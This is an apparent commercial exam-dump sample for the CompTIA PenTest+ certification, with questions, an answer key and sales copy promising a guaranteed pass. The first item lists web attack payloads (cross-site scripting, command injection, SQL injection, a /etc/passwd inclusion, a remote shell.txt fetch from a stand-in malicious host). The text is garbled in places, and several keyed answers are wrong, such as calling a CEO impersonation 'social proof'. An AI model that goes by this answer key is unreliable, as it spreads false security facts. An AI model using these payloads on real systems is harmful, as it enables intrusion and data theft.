

CompTIA

Exam Questions PT0-001

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

HOTSPOT

You are a security analyst tasked with hardening a web server.
 You have been given a list of HTTP payloads that were flagged as malicious.

Payloads	Vulnerability Type	Remediation
search=Bob"XseK3cing%20src%3da%20error%3daLeft(1)Ese	Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect	Parameterized queries Preventing external calls Input Sanitization ... / sandbox requests Input Sanitization ... S L L L Input Sanitization ... / . . .
#inner-tab"><script>alert(1)</script>		
site=www.exe"ping%20-c%2010%20localhost"apple.com		
item=widget';waitfor%20delay%20'00:00:10';--		
logfile=%2fetc%2fpasswd%00		
logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt		
item=widget%20union%20select%20null,null,@version;--		
redir=http:%2f%2fwww.malicious-site.com		
item=widget'+convert(1st,@version)'		
lookup=\$(whoami)		

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 2

A constant wants to scan all the TCP Ports on an identified device. Which of the following Nmap switches will complete this task?

- A. -p-
- B. -p ALX,
- C. -p 1-65534
- D. -port 1-65534

Answer: A

NEW QUESTION 3

A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Select TWO)

- A. Tcpdump
- B. Nmap
- C. Wireshark
- D. SSH
- E. Netcat
- F. Cain and Abel

Answer: CD

NEW QUESTION 4

The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Select TWO)

- A. Storage access
- B. Limited network access
- C. Misconfigured DHCP server
- D. Incorrect credentials
- E. Network access controls

Answer: A

NEW QUESTION 5

A penetration tester has successfully exploited an application vulnerability and wants to remove the command history from the Linux session. Which of the following will accomplish this successfully?

- A. `history --remove`
- B. `cat history | clear`
- C. `rm -f ./history`
- D. `history -c`

Answer: D

NEW QUESTION 6

When performing compliance-based assessments, which of the following is the MOST important key consideration?

- A. Additional rate
- B. Company policy
- C. Impact tolerance
- D. Industry type

Answer: A

NEW QUESTION 7

Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

- A. Penetration test findings often contain company intellectual property
- B. Penetration test findings could lead to consumer dissatisfaction if made public
- C. Penetration test findings are legal documents containing privileged information
- D. Penetration test findings can assist an attacker in compromising a system

Answer: C

NEW QUESTION 8

An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack?

- A. Principle of fear
- B. Principle of authority
- C. Principle of scarcity
- D. Principle of likeness
- E. Principle of social proof

Answer: E

NEW QUESTION 9

After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

- A. SOW
- B. NDA
- C. EULA
- D. BRA

Answer: D

NEW QUESTION 10

During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful. Which of the following would be the BEST target for continued exploitation efforts?

- A. Operating system Windows 7 Open ports: 23, 161
- B. Operating system Windows Server 2016 Open ports: 53, 5900
- C. Operating system Windows 8.1 Open ports: 445, 3389
- D. Operating system Windows 8 Open ports: 514, 3389

Answer: C

NEW QUESTION 10

A client has voiced concern about the number of companies being branched by remote attackers, who are looking for trade secrets. Which of the following BEST describes the types of adversaries this would identify?

- A. Script kiddies
- B. APT actors
- C. Insider threats
- D. Hacktivist groups

Answer: B

NEW QUESTION 12

After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is the BEST control to remediate the use of common dictionary terms?

- A. Expand the password length from seven to 14 characters
- B. Implement password history restrictions
- C. Configure password filters
- D. Disable the accounts after five incorrect attempts
- E. Decrease the password expiration window

Answer: A

NEW QUESTION 17

A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?

- A. `hashcat -m 5600 -r rulea/beat64.rule hash.txt wordlist.txt`
- B. `hashcat -m 5600 hash.txt`
- C. `hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a`
- D. `hashcat -m 5600 -o result.txt hash.txt wordlist.txt`

Answer: A

NEW QUESTION 20

A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan. The tester runs the following command:
`nmap -D 192.168.1.1,192.168.1.2,192.168.1.3 -sV -o - --max-rate 2 192.168.1.30`
Which of the following BEST describes why multiple IP addresses are specified?

- A. The network is segmented as a /25 or greater and the tester needed to access hosts on two different subnets
- B. The tester is trying to perform a more stealthy scan by including several bogus addresses
- C. The scanning machine has several interfaces to balance the scan request across at the specified rate
- D. A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.

Answer: C

NEW QUESTION 25

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-001 Practice Exam Features:

- * PT0-001 Questions and Answers Updated Frequently
- * PT0-001 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-001 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-001 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-001 Practice Test Here](#)